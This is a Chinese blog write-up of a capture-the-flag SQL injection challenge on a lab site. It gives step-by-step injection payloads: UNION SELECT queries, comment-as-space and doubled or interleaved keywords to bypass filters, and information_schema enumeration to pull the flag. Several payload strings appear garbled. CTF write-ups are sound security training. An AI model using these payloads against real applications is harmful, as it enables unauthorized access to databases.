简单的SQL注入一

2 篇文章 0 订阅

**

简单的sql注入一:

**
URL:http://ctf5.shiyanbar.com/423/web/
在这里插入图片描述
上来题目给出一句话——“到底过滤了什么东西”,想到可能存在关键词过滤。
首先尝试输入1,2,3发现回显正常,输入4回显错误,说明该数据库内只有三个表单。
在这里插入图片描述在这里插入图片描述在这里插入图片描述

然后尝试输入1’,发现回显错误。根据回显信息判断参数值类型为字符型。
在这里插入图片描述
继续测试,输入’1’ or 1’=1,发现返回数据库内所有表单信息。
在这里插入图片描述
继续使用联合查询获取数据库名称,输入1’ union select database()’ ,发现报错,但是报错信息中只有database(),union和select被过滤掉了。
在这里插入图片描述
因此考虑关键词过滤的解决方案,有以下三种:
1、 大小写交替,如Order SeLect等等。
2、 双写,如orderorder selectselect等。
3、 交叉,如Selecselectt
再进行尝试,输入1’ unionselect database()’ ,发现依旧报错,但是出现union,select依旧被过滤,猜想可能过滤了空格。
在这里插入图片描述
所以利用双写的方法来绕过。输入1’ unionselectselect database()’ ,发现不行,所以尝试利用别的方式,比如加上+,%0a,%0b,//等字符,发现使用//可以成功绕过。因此输入1’ union//select//database()’ ,发现回显正确的数据库名称。
在这里插入图片描述
继续查询表名,依照上面的规则输入1’ union//select//table_name from//information_schema.tables//where//table_schema//=’web1。发现web1前面的内容被过滤了,因此猜想存在关键字过滤,可能是对table_schema进行过滤。
在这里插入图片描述
因此利用交叉法绕过过滤。输入1‘ union//select//table_name from//information_schema.tables//where//table_schtable_schemaema//=’web1,发现回显表明中含有flag。
在这里插入图片描述
紧接着查询字段名,输入1‘ union//select//column_name//from//information_schema.columns//where//table_name//=’flag。发现报错,依旧是column_name和information_schema.columns被过滤,继续使用交叉法重写。
在这里插入图片描述
输入1’ union/
/select//column_nacolumn_nameme//from//information_schema.coluinformation_schema.columnsmns//where//table_name//=’flag.爆出字段名。
在这里插入图片描述
最后对flag进行爆破,输入1’ union//select//flag//from//flag where/**/’1’=’1,查到内容为flag{Y0u_@r3_5O_dAmn_90Od}
在这里插入图片描述

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值